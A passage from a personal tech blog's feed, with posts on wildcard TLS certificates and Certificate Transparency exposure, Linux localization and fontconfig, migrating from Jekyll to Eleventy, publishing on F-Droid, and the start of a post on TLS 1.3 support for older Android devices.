menu_item :main :Sleep :power :sleep
#--------------------------------------------------------------------------------------------
menu_item :reader :Invert Screen :nickel_setting :toggle :invert
menu_item :reader :Sleep :power :sleep
#--------------------------------------------------------------------------------------------
menu_item :library :Import books :nickel_misc :rescan_books_full
#--------------------------------------------------------------------------------------------
menu_item :browser :Invert Screen :nickel_setting :toggle :invert
menu_item :browser :Open Browser :nickel_browser :modal
#--------------------------------------------------------------------------------------------
</code></pre>
Wildcard certificates are not always a security risk2023-03-11T00:00:00Zhttps://code.mendhak.com/use-wildcard-certificates-for-internal-infrastructure/<p>The common, prevailing advice given regarding TLS certificates is to avoid using wildcard certificates. That is, when securing a domain, it is considered a best practice to use a certificate for <code>mydomain.example.com</code> instead of <code>*.example.com</code>.</p>
<p>The risk is that a compromised wildcard certificate has a large blast radius, and allows attackers to create multiple malicious domains under a ‘trusted’ banner.</p>
<h2 id="internal-infrastructure" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/use-wildcard-certificates-for-internal-infrastructure/#internal-infrastructure">Internal infrastructure</a></h2>
<p>Organizations and individuals that host internal infrastructure (services, containers, instances, all kinds of things), have a need to secure traffic to said infrastructure. Although it’s possible to manage internal infrastructure with private DNS <code>mydomain.example.internal</code> and private certificate authorities, many people will want to avoid its associated overheads.</p>
<p>It’s now a very common approach to take the easier route and use public DNS for internal infrastructure, such as <code>mydomain.example.tech</code>. Using public DNS allows taking advantage of free automated certificate providers such as <a href="https://letsencrypt.org/getting-started/">Let’s Encrypt</a> and <a href="https://aws.amazon.com/certificate-manager/">Amazon ACM</a>.</p>
<h3 id="certificate-transparency-logs-can-be-a-risk" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/use-wildcard-certificates-for-internal-infrastructure/#certificate-transparency-logs-can-be-a-risk">Certificate Transparency Logs can be a risk</a></h3>
<p>Certificate Transparency Logs (CRTs) are an Internet standard for monitoring certificates issued by all major Certificate Authorities (CAs). When CAs issue certificates, they now voluntarily send a log to a public ledger, which can be queried by browsers when a user visits a website, to ensure that the certificate being presented was legitimately issued.</p>
<p>This public ledger is visible to anyone and can be seen on sites such as <a href="https://crt.sh/">crt.sh</a>. Try some searches such as <a href="https://crt.sh/?q=example.com">example.com</a> and <a href="https://crt.sh/?q=google.com">google.com</a>.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/use-wildcard-certificates-for-internal-infrastructure/002.png">
<img src="https://code.mendhak.com/assets/images/use-wildcard-certificates-for-internal-infrastructure/002.png" alt="Certificate transparency logs for example.com and example.org" title="" loading="lazy" /></span>
<figcaption>Example.com</figcaption>
</figure><p></p>
<p>Which means, any certificates issued against internal infrastructure using public DNS should be visible in this log. And it is! The risk here is that an attacker now has an inventory of a company’s infrastructure that they would not normally have or easily gain.</p>
<p>A commonly cited example of such exposure was the Transport for New South Wales department with their domain <code>transport.nsw.gov.au</code>, and a search on a CRT logs website <a href="https://crt.sh/?q=transport.nsw.gov.au">reveals a huge number of internal domains</a>.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/use-wildcard-certificates-for-internal-infrastructure/003.png">
<img src="https://code.mendhak.com/assets/images/use-wildcard-certificates-for-internal-infrastructure/003.png" alt="Transparency logs for several individual domains in NSW AU" title="" loading="lazy" /></span>
<figcaption>The list goes on</figcaption>
</figure><p></p>
<p>Presumably towards the end of 2020, they seem to have cleaned up their presence (I can only assume due to the attention this CRT received).</p>
<h2 id="when-to-use-wildcard-certificates" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/use-wildcard-certificates-for-internal-infrastructure/#when-to-use-wildcard-certificates">When to use wildcard certificates</a></h2>
<p>Digging through a list like the CRT can reveal not just internal infrastructure, but information <em>about</em> the inner workings in and around it. I consider this risk to be much higher than that of a compromised wildcard certificate.</p>
<p>My recommendation is to use a wildcard certificate for internal domains, if using public DNS and public CAs. This reduces the internal enumeration risk, while letting development teams retain the convenience of automated domains and certificates.</p>
I had fun learning about Linux localization and fonts2023-02-17T00:00:00Zhttps://code.mendhak.com/fun-learning-linux-localization/<p>I have a simple <a href="https://github.com/mendhak/waveshare-epaper-display">epaper dashboard project</a>, which displays the time, date, weather and calendar entries. Of course the format is entirely specific to English, and I had naïvely assumed that everyone would understand “Friday Feb 17, 2023” and “5:20 PM”. When I received a feature request to display the preferred time format based on the system’s locale, I decided to apply it to the days and dates too, which sent me down a rabbit hole of locales, formats, and figuring out how to display them with font matching.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/fun-learning-linux-localization/004.png"><img src="https://code.mendhak.com/assets/images/fun-learning-linux-localization/004.png" alt="Eink dashboard with Thai" title="" loading="lazy" data-caption="Thai <code>th_TH</code>" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/fun-learning-linux-localization/005.png"><img src="https://code.mendhak.com/assets/images/fun-learning-linux-localization/005.png" alt="Eink dashboard with Chinese Traditional" title="" loading="lazy" data-caption="Chinese Traditional <code>zh_TW</code>" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/fun-learning-linux-localization/006.png"><img src="https://code.mendhak.com/assets/images/fun-learning-linux-localization/006.png" alt="Eink dashboard with Swedish" title="" loading="lazy" data-caption="Swedish <code>sv_SE</code>" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/fun-learning-linux-localization/007.png"><img src="https://code.mendhak.com/assets/images/fun-learning-linux-localization/007.png" alt="Eink dashboard with Korean" title="" loading="lazy" data-caption="Korean <code>ko_KR</code>" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/fun-learning-linux-localization/008.png"><img src="https://code.mendhak.com/assets/images/fun-learning-linux-localization/008.png" alt="Eink dashboard with Vietnamese" title="" loading="lazy" data-caption="Vietnamese <code>vi_VN</code>" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/fun-learning-linux-localization/009.png"><img src="https://code.mendhak.com/assets/images/fun-learning-linux-localization/009.png" alt="Eink dashboard with Greek" title="" loading="lazy" data-caption="Greek <code>el_GR</code>" style="width: calc(50% - 0.5em);" /></span>
<figcaption>The end result, localized epaper dashboard examples</figcaption></figure>
<h2 id="python-babel-library" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/fun-learning-linux-localization/#python-babel-library">Python Babel library</a></h2>
<p>The simplest way to play around and experiment with locales was using the Python <a href="https://babel.pocoo.org/">Babel library</a>. It provides some simple utility functions that do the thinking and formatting. Babel itself gets its information from the Unicode Common Locale Data Repository (CLDR) project, a massive collection of locale metadata, formatting and parsing for dates, times, numbers, units, names, even down to words like ‘yesterday’. As an example, here’s the CLDR data for <a href="https://unicode-org.github.io/cldr-staging/charts/latest/verify/dates/is.html">date formats in Icelandic</a>. What’s in this database isn’t <em>always</em> going to match reality, but it’s the closest thing to a standardized formatting there is. Making use of the Babel library was then as simple as:</p>
<pre class="language-python"><code class="language-python"><span class="token operator">>></span><span class="token operator">></span> format_date<span class="token punctuation">(</span>datetime<span class="token punctuation">.</span>now<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token builtin">format</span><span class="token operator">=</span><span class="token string">'full'</span><span class="token punctuation">,</span> locale<span class="token operator">=</span><span class="token string">'th_TH'</span><span class="token punctuation">)</span>
<span class="token string">'วันศุกร์ที่ 17 กุมภาพันธ์ ค.ศ. 2023'</span></code></pre>
<p>Playing around with this library was a fun way of getting a glimpse into other locales that I don’t normally interact with.</p>
<h3 id="things-i-observed-about-time" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/fun-learning-linux-localization/#things-i-observed-about-time">Things I observed about time</a></h3>
<h4 id="24-hour-format-vs-am-pm" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/fun-learning-linux-localization/#24-hour-format-vs-am-pm">24-hour format vs AM/PM</a></h4>
<p>The clearly superior 24-hour format is preferred not just in the UK, but most European locales</p>
<p>en_GB: <code>19:45:00</code></p>
<p>The US prefers AM/PM</p>
<p>en_US: <code>7:45:00 PM</code></p>
<p>And Australia uses lowercase</p>
<p>en_AU: <code>7:45:00 pm</code></p>
<h4 id="the-am-pm-can-be-at-the-beginning" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/fun-learning-linux-localization/#the-am-pm-can-be-at-the-beginning">The AM/PM can be at the beginning</a></h4>
<p>For Korean (ko_KR), the AM/PM indicator come before the time.</p>
<p><code>PM 7:45:00</code></p>
<h4 id="it-s-not-always-am-and-pm" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/fun-learning-linux-localization/#it-s-not-always-am-and-pm">It’s not always “AM” and “PM”</a></h4>
<p>Even if the locale uses English letters, it’s not always the suffixes “AM” and “PM” that’s used. Malaysian (ms_MY) uses PG (pagi) and PTG (petang):</p>
<p><code>9:15:00 PG</code><br />
<code>7:45:00 PTG</code></p>
<p>Greek (el_GR) uses ‘pro mesimvrías’ and ‘metá mesimvrían’</p>
<p><code>9:15:00 π.μ.</code><br />
<code>7:45:00 μ.μ.</code></p>
<p>And Arabic (Egypt, ar_EG) uses the suffixes <code>ص</code> and <code>م</code></p>
<p><code>9:15:00 ص</code><br />
<code>7:45:00 م</code></p>
<h4 id="it-s-not-always-an-am-and-pm-analogue" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/fun-learning-linux-localization/#it-s-not-always-an-am-and-pm-analogue">It’s not always an AM and PM analogue</a></h4>
<p>The Chinese Traditional locale (zh_TW) didn’t have a one to one mapping with AM and PM. Instead, it’s the day period name that gets used as the prefix.</p>
<p><code>清晨5:15:00</code> (early morning)<br />
<code>上午9:15:00</code> (morning)<br />
<code>下午1:15:00</code> (afternoon)<br />
<code>晚上7:15:00</code> (night)<br />
<code>午夜12:00:00</code> (midnight)</p>
<h4 id="the-colon-isn-t-always-the-time-separator" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/fun-learning-linux-localization/#the-colon-isn-t-always-the-time-separator">The colon isn’t always the time separator</a></h4>
<p>In Sinhala Sri Lanka (si_LK), the time separator is a dot, and numbers are padded too.</p>
<p><code>09.15.00</code><br />
<code>19.45.00</code></p>
<h3 id="things-i-observed-about-days-and-dates" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/fun-learning-linux-localization/#things-i-observed-about-days-and-dates">Things I observed about days and dates</a></h3>
<p>This was relatively simpler, having experienced a variety of time formats. Most of the differences were simply translations of day names, and usage of commas and dots.</p>
<h4 id="days-and-months-can-be-lowercase" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/fun-learning-linux-localization/#days-and-months-can-be-lowercase">Days and months can be lowercase</a></h4>
<p>In Swedish (sv_SE), as well as many other languages, the names of days and months usually start with a lowercase letter.</p>
<p><code>fredag 17 februari 2023</code></p>
<h4 id="vietnamese-is-pretty-efficient" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/fun-learning-linux-localization/#vietnamese-is-pretty-efficient">Vietnamese is pretty efficient</a></h4>
<p>In Vietnamese (vi_VN) there’s a slightly different date format that can be used, when a short form is desired:</p>
<p><code>T6 Thg 2 17</code></p>
<p>The ‘T6’ is day 6 (Friday), ‘Thg 2’ is month 2 (February), and 17 is the date.</p>
<h4 id="some-put-the-year-first" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/fun-learning-linux-localization/#some-put-the-year-first">Some put the year first</a></h4>
<p>Several eastern locale date formats had the year first.</p>
<p>ko_KR: <code>2023년 2월 17일</code></p>
<p>ja_JP: <code>2023年2月17日</code></p>
<p>zh_TW: <code>2023年2月17日</code></p>
<h3 id="fonts-working-with-locales" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/fun-learning-linux-localization/#fonts-working-with-locales">Fonts working with locales</a></h3>
<p>Now that I had the times and dates being produced by the code, displaying it on screen was a different matter. This is an epaper application being rendered by an SVG-to-PNG converter. It’s not being displayed in a browser, which meant that I didn’t have the luxury of font bundling or web fonts and other magic to hide away problems from the user. The only fonts available were what the OS said was available.</p>
<p>The simplest thing to do in the SVG was to set the font to be a web safe font, <code>font-family:sans-serif</code>.</p>
<p>During processing, the renderer would then ask the OS for the correct font to use. This is where fontconfig helps. It’s a program that helps match requested fonts with what’s available on the system. It comes with many rules about matching fonts, and substituting fonts if they’re not available.</p>
<p>On a Raspberry pi, the default font is DejaVu Sans. This can be seen using a fontconfig utility known as <code>fc-match</code> which does its best to match a font for a request.</p>
<pre class="language-bash"><code class="language-bash">$ fc-match sans-serif
DejaVuSans.ttf: <span class="token string">"DejaVu Sans"</span> <span class="token string">"Book"</span></code></pre>
<p>DejaVu Sans was fine for most European languages, but would render squares, indicating missing characters, for many others.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/fun-learning-linux-localization/001.png"><img src="https://code.mendhak.com/assets/images/fun-learning-linux-localization/001.png" alt="" loading="lazy" data-caption="" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/fun-learning-linux-localization/002.png"><img src="https://code.mendhak.com/assets/images/fun-learning-linux-localization/002.png" alt="" loading="lazy" data-caption="" style="width: calc(50% - 0.5em);" /></span>
<figcaption>Eastern languages didn’t render properly with the default font</figcaption></figure>
<p>By setting the locale using <code>LC_ALL</code>, fontconfig would know how to match on the correct font.</p>
<pre class="language-bash"><code class="language-bash">$ <span class="token assign-left variable"><span class="token environment constant">LC_ALL</span></span><span class="token operator">=</span>th_TH.UTF-8 fc-match sans-serif
FreeSerif.ttf: <span class="token string">"FreeSerif"</span> <span class="token string">"ปกติ"</span>
<span class="token assign-left variable"><span class="token environment constant">LC_ALL</span></span><span class="token operator">=</span>ja_JP.UTF-8 fc-match sans-serif
NotoSansCJK-Regular.ttc: <span class="token string">"Noto Sans CJK JP"</span> <span class="token string">"Regular"</span></code></pre>
<p>With that, everything started working, and rendering properly!</p>
<h3 id="about-lc-all-and-language-packs" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/fun-learning-linux-localization/#about-lc-all-and-language-packs">About LC_ALL and language packs</a></h3>
<p><code>LC_ALL</code>, and its related environment variables, controls aspects of localization such as date time format, symbols, decimals. The current locale of a system can be seen by running the <code>locale</code> command.</p>
<pre><code> $ locale
LANG=en_GB.UTF-8
LANGUAGE=
LC_CTYPE="en_GB.UTF-8"
LC_NUMERIC="en_GB.UTF-8"
LC_TIME="en_GB.UTF-8"
LC_COLLATE="en_GB.UTF-8"
LC_MONETARY="en_GB.UTF-8"
LC_MESSAGES="en_GB.UTF-8"
LC_PAPER="en_GB.UTF-8"
LC_NAME="en_GB.UTF-8"
LC_ADDRESS="en_GB.UTF-8"
LC_TELEPHONE="en_GB.UTF-8"
LC_MEASUREMENT="en_GB.UTF-8"
LC_IDENTIFICATION="en_GB.UTF-8"
LC_ALL=
</code></pre>
<p>Linux applications base their own localization output on the values in these variables, and it allows a user to choose different localizations for different aspects.</p>
<p>It’s possible to see a list of all installed locales on a system, using <code>locale -a</code>. And to add more locales, run <code>sudo dpkg-reconfigure locales</code> which launches a text interface to select locales from. Importantly it also allows setting default locale, which is then picked up by <code>LC_ALL</code> and applications that use it.</p>
<h3 id="fontconfig" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/fun-learning-linux-localization/#fontconfig">Fontconfig</a></h3>
<p>Fontconfig is quite powerful, and even lets users specify their own substitution rules. Instead of DejaVu Sans, I could force the use of Noto Sans by creating a file at <code>~/.config/fontconfig/conf.d/00-fonts.conf</code>:</p>
<pre class="language-xml"><code class="language-xml"><span class="token prolog"><?xml version='1.0'?></span>
<span class="token doctype"><span class="token punctuation"><!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">fontconfig</span> <span class="token name">SYSTEM</span> <span class="token string">'fonts.dtd'</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>fontconfig</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>alias</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>family</span><span class="token punctuation">></span></span>sans-serif<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>family</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>prefer</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>family</span><span class="token punctuation">></span></span>Noto Sans<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>family</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>prefer</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>alias</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>fontconfig</span><span class="token punctuation">></span></span></code></pre>
<p>It’s possible <a href="https://wiki.archlinux.org/title/Font_configuration">to be more sophisticated</a> by filtering it down to specific languages and other metadata too. It’s even possible to specify a fallback font in case the original font doesn’t have all the characters to be displayed on screen. Sadly the SVG converter I was using didn’t support fallback fonts. Still, good to know it’s there.</p>
<h3 id="closing-notes" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/fun-learning-linux-localization/#closing-notes">Closing notes</a></h3>
<p>Between being able to control the locales and fontconfig, I was able to test a variety of configurations when developing the rendering for the epaper dashboard. Understanding fontconfig also gave me an appreciation of how font matching works at a system level, behind the scenes. Along with understanding how to manage locales, I gained a much better appreciation for the beauty and simplicity of Linux.</p>
Escaping Jekyll, and moving to Eleventy2023-01-28T00:00:00Zhttps://code.mendhak.com/escaping-jekyll-to-eleventy/<p>A rite of passage exists, that after a certain amount of time spent writing on a platform, a blogger feels a need to revamp or migrate to something else. I used to come across such posts on various other blogs and I’d be dismissive of them. Just be happy with what you have, right? As it turns out, <strong>no</strong>, there are always good reasons to move, and it took me a while to understand that. I can say I am glad to be free of the torturous hell that is Jekyll and Ruby.</p>
<h2 id="jekyll-and-minimal-mistakes" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/escaping-jekyll-to-eleventy/#jekyll-and-minimal-mistakes">Jekyll and Minimal Mistakes</a></h2>
<p>I had originally picked Jekyll purely for convenience — Github Pages automatically builds and deploys it. I’m always in favor of managed services, so this fit the bill perfectly. Just write in Markdown, push to Github, and the post appears on the site momentarily.</p>
<p>There was also an excellent theme to get started with, called <a href="https://mmistakes.github.io/minimal-mistakes/">minimal mistakes</a>. It’s a very popular theme for Jekyll with several features and many configuration options, not limited to images, galleries, notices, buttons, and color themes too.</p>
<h2 id="running-it-locally" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/escaping-jekyll-to-eleventy/#running-it-locally">Running it locally</a></h2>
<p>Over time though, as the writing became more involved, I needed to preview what I wrote, which meant running Ruby locally. This is where the problems started. And persisted, while I tolerated.</p>
<p>In my experience across many language ecosystems, I have never encountered any as fragile as that of Ruby and Jekyll; one that breaks so easily and so frequently, in strange and inexplicable ways. As with many experiences, it’s always a case of <abbr title="Your Mileage May Vary">YMMV</abbr>, and I’m sure that most people in this ecosystem won’t experience the same, but I did, and it was a significant factor.</p>
<p>Each time I’d run it after a few weeks away, another part of the setup would have broken and had to be solved in strange ways that made no sense to me. It felt like Gemfiles were worthless, making a spectacle of themselves, locks were too open, rakes were broken, and Dockerfiles were more like Jokerfiles. The distractions were enough that I wasn’t writing, I was first overcoming the trepidation of fixing something, and then writing if I still had the energy.</p>
<p>A lot of the problems encountered felt symptomatic of the Ruby philosophy of hiding things away to appear like ‘magic’, which was once praised widely during its peak popularity phase. Little rotting nuggets of said philosophy were now worming its way to the surface and cheerily waving hello at me.</p>
<h2 id="choosing-another-platform" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/escaping-jekyll-to-eleventy/#choosing-another-platform">Choosing another platform</a></h2>
<p>Although the next obvious choice was Hugo, I had been hearing quite a bit about <a href="https://www.11ty.dev/">Eleventy</a>. I started experimenting with both and ended up using Eleventy for a few other minor things, such as <a href="https://gpslogger.app/">the GPSLogger page</a> and my <a href="https://noodles.mendhak.com/">noodles website</a>.</p>
<p>What I like about it is its low touch approach — it isn’t tied to any framework, just plain old Javascript. It has a data-first design, which fits nicely with the content-first approach I am looking for. At the same time, it allows for extensive customisability through its many features.</p>
<p>I did find a few different blog themes, but what I was missing was a feature-set like that of minimal-mistakes.</p>
<h2 id="modifications" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/escaping-jekyll-to-eleventy/#modifications">Modifications</a></h2>
<p>I decided to use an Eleventy starter base, and start adding some of those features in, or a close approximation. Since I’ve got no web design skills, <a href="https://simplecss.org/">SimpleCSS</a> was a good place to start. It has a sensible set of defaults and comes with automatic dark and light themes. I was able to modify it to achieve a simplified version of <a href="https://hylia.website/">the Hylia theme</a>.</p>
<p>Some of the modifications I’m happy about.</p>
<p>Being able to link to another post <a href="https://code.mendhak.com/eleventy-satisfactory/posting-links/">by its <code>.md</code> file name</a>.</p>
<p>A shortcode that can <a href="https://github.com/mendhak/eleventy-satisfactory/blob/main/_includes/layouts/base.njk#L24-L31">minify multiple files together</a>.</p>
<p>A shortcode that generates <a href="https://code.mendhak.com/eleventy-satisfactory/github-repo-card/">Github repo cards</a>.</p>
<p>Being able to <a href="https://code.mendhak.com/eleventy-satisfactory/post-with-github-gists/">render Github Gists right on a page</a> instead of that awkward looking embed.</p>
<p>Converting normal markdown images to use lightbox, and <a href="https://code.mendhak.com/eleventy-satisfactory/post-with-an-image/#unconstrained-full-width-image">super wide images!</a> (And <a href="https://code.mendhak.com/eleventy-satisfactory/post-with-iframes-videos-third-party/">videos too</a>)</p>
<p><a href="https://code.mendhak.com/eleventy-satisfactory/post-notice/">Notice panels like info, warning, danger</a>.</p>
<p>Developing with Eleventy was a joy, and I spent a pretty intense 3 weeks working on the ‘Eleventy Satisfactory’ theme. Working on one idea would lead to others in a cascade, and getting to grips with the various data wrangling features like computed data and nunjucks made for efficient snippets that weren’t too unwieldy. Overall a very satisfying experience.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/escaping-jekyll-to-eleventy/001.png">
<img src="https://code.mendhak.com/assets/images/escaping-jekyll-to-eleventy/001.png" alt="Github activity chart with green squares representing activity on a day" title="" loading="lazy" /></span>
<figcaption>Github activity lit up</figcaption>
</figure><p></p>
<h2 id="other-thoughts" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/escaping-jekyll-to-eleventy/#other-thoughts">Other thoughts</a></h2>
<p>I have a lot more confidence in the continuity of Eleventy as compared to Jekyll. However, one disadvantage now is that I’ve developed a theme, which is its own maintenance overhead, and the opposite of using something managed.</p>
<p>My hope is that the modifications I’ve done are simple enough that I needn’t spend a lot more time working on it. Only time will tell and whether it results in a second migration, which is often another rite of passage. Or I should say, write of passage.</p>
Appreciating F-Droid as an app developer2022-12-06T00:00:00Zhttps://code.mendhak.com/in-appreciation-of-fdroid/<p>I used to develop my app solely for the Play Store, until <a href="https://github.com/mendhak/gpslogger/issues/849">just 2 years ago</a> when I determined that the stress of arbitrary removals had accumulated to an unsustainable level.</p>
<p>Several months later, I tentatively decided to repackage the app for F-Droid. It wasn’t out of some matter of principle, just one of convenience; I wanted the app to ‘live’ somewhere and F-Droid was an option that had been suggested to me in the past by several users. At the time I didn’t give serious consideration to those suggestions. Now after 2 years of using F-Droid as an app developer, I can compare it against my experience with the Play Store. It’s now obvious that I should have given serious consideration to those suggestions. The developer experience has its advantages, is easier, and comes with fewer constraints.</p>
<h2 id="no-ambiguity" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/in-appreciation-of-fdroid/#no-ambiguity">No ambiguity</a></h2>
<p>The main issue I faced with app removals on Google Play wasn’t so much the removals themselves; after all the Play Store needs to enforce policies. The problem was the manner in which the removals would occur, and the lack of information around it. To add insult to injury, there was a chronic inability to get a hold of someone who could explain what was going on, and in the rare cases where I did get a hold of someone, they would give no information about what or where the problem was. The elusive agent would robotically keep linking to the same dense policy documents that the original removal email linked to.</p>
<p>In almost all cases, I had to make guesses regarding the problem, re-submit, and wait for a rejection or success. In one unique, yet bizarre incident, I received a removal email that did highlight the problem, but the sentence it pointed at was completely innocuous. Support did not help as usual. I made a guess and removed a comma from that sentence, resubmitted, and it went through.</p>
<p>This is a problem with app stores in general that doesn’t affect most app developers, but when it does, only then does the one-sided nature of the relationship with the app store become apparent. My best guess is that these removals are a combination of new errant algorithms and the default assumption by app store employees that the algorithm is indisputably infallible.</p>
<p>Contrast this with F-Droid: the policies are simple, documented, and in many cases <em>codified</em>. For example, if a closed source library is used, which <a href="https://f-droid.org/docs/Inclusion_Policy/">F-Droid doesn’t allow</a>, the F-Droid build will fail, and the reason is visible in the build logs. If the app uses anti-features, the app listing page gets a warning on it indicating as much. The important thing about something being codified and documented in a simple straightforward manner, is that it removes the stress from interactions with F-Droid. It’s all just there.</p>
<h2 id="reproducible-builds" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/in-appreciation-of-fdroid/#reproducible-builds">Reproducible builds</a></h2>
<p>F-Droid increases trust in open source code by implementing <a href="https://f-droid.org/docs/Reproducible_Builds/">reproducible builds</a>. Also known as deterministic builds, it’s a way of providing an independently verifiable path from source to binary code. The simple act of participating in F-Droid is enough to increase confidence in an application, if one cares about open source principles. That’s something I can appreciate.</p>
<p>Comparing this with the Play Store, for any given app, no such assurance exists.</p>
<h2 id="managed-continuous-deployment-service" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/in-appreciation-of-fdroid/#managed-continuous-deployment-service">Managed continuous deployment service</a></h2>
<p>By virtue of the reproducible builds, F-Droid is required to build the application, and it provides convenience methods to do so. The best outcome of this is that I can <code>git tag</code> at any point in my branch, and F-Droid picks it up, builds it, and deploys it to the F-Droid repository. F-Droid makes available the source code as well as the build logs for the application, and even provides a site to <a href="https://monitor.f-droid.org/">monitor the status</a>. That’s quite useful for troubleshooting and maintenance.</p>
<p>A consequence, whether intended or unintended, is that from my perspective F-Droid effectively becomes a managed CI/CD system. The majority of my interaction ends at Github, F-Droid takes care of the rest.</p>
<p>At the same time, if needed, it’s also possible to go deep into the guts of the build: even F-Droid’s <a href="https://gitlab.com/fdroid/fdroidserver">build system</a> is available to run locally.</p>
<p>I don’t think there is any real comparison with the Play Store here, as there’s nothing in the way of automation there. It’s somewhat possible, through API calls, to automate a deployment to the Play Store, but the workflow is complex and not very maintainable, or rather, considering the number of workflows, policies, and agreements that often greet the developer during the update process, it’s not meant to be maintainable.</p>
<h2 id="reach-and-analytics" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/in-appreciation-of-fdroid/#reach-and-analytics">Reach and analytics</a></h2>
<p>While I did have a larger base of users on Google Play, there’s a liberating lack of knowledge around usage numbers or reviews on F-Droid. Shortly after the move from Google Play, the act of deploying to F-Droid felt like it was being released into the void, but over time it’s just something I’ve gotten used to. The only indications I have of usage are adjacent and incidental; although I’ve still not returned to former levels of involvement with the app, there is still a healthy amount of conversation and issues over Github and emails.</p>
<h2 id="closing-thoughts" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/in-appreciation-of-fdroid/#closing-thoughts">Closing thoughts</a></h2>
<p>It’s true that the Play Store does come with various conveniences and additional analytics around deployments, errors, and installations. Its position as the default app store on devices gives it a larger user base. All of these are not available on F-Droid for good reasons, which I’m willing to give up on for the benefits that deveoping for F-Droid provides.</p>
Bringing TLS 1.3 to older Android devices2022-11-18T00:00:00Zhttps://code.mendhak.com/tls-13-old-android-devices/<p>Security improvements tend to be a one way street, they are usually implemented in newer versions of operating systems, and by extension, on newer mobile devices. There is an assumption often made by technologists, that mobile device users are going through a constant upgrade cycle, but the assumption is made from a position of inequality, and grossly misunderstands how devices are used by a huge majority of the world. (Though in fairness, there is only so much support the technology sector can provide before their own ability to progress is curbed.)</p>
<p>In many parts of the world, using mobile devices with older OSes are a fact of life, where a user will continue using it until it has completely died. Receiving updates are not a prime consideration, what matters is that the device continues to function for its intended purposes. But these circumstances mean that these users do not get access to many security improvements, and can get locked out of various web applications and services that they regularly make use of. This is because those web services proceed at their own pace, and a security update applied on the server side one day can suddenly render the device incompatible. The most common example of this today is TLS 1.3. TLS 1.3 is by default available at the OS level in Android 10 onwards</p>
<h2 id="the-problem" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/tls-13-old-android-devices/#the-problem">The problem</a></h2>
<p>Working on <a href="https://gpslogger.app/">GPSLogger</a> over the past several years has put me in contact with a large userbase who are completely unlike myself; they are diverse in nature of usage and backgrounds. Among these, GPSLogger is used by several NGOs and charities around the world, as well as people and communities in emerging economies. Most of these users do not have the latest devices with the latest OS versions, as it is not a primary concern in their usage habits. Instead, mobile devices are seen as a means to run tools to assist their tasks.</p>
<p>But these same circumstances also mean that the latest security improvements are out of reach for them. That’s because the web applications and services they connect to exist as independent entities and will have their own roadmaps of security, independent of devices that access them.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/tls-13-old-android-devices/001.png">
<img src="https://code.mendhak.com/assets/images/tls-13-old-android-devices/001.png" alt="Android version distribution up to version 31" title="" loading="lazy" /></span>
<figcaption>Android OS distribution</figcaption>
</figure><p></p>
<p>A good example of this is the OpenStreetMap trace upload feature. Recently, I had started receiving reports regarding older Android devices being unable to upload traces to OpenStreetMap, and that this feature had stopped working. After some investigation, it turned out that OpenStreetMap had moved to TLS 1.2 and TLS 1.3, and this could be confirmed by trying to connect using TLS 1.1.</p>
<pre class="language-bash"><code class="language-bash">$ openssl s_client <span class="token parameter variable">-tls1_1</span> <span class="token parameter variable">-connect</span> openstreetmap.org:443
CONNECTED<span class="token punctuation">(</span>00000003<span class="token punctuation">)</span>
4047835B3E7F0000:error:0A0000BF:SSL routines:tls_setup_handshake:no protocols available:<span class="token punctuation">..</span>/ssl/statem/statem_lib.c:104:
---
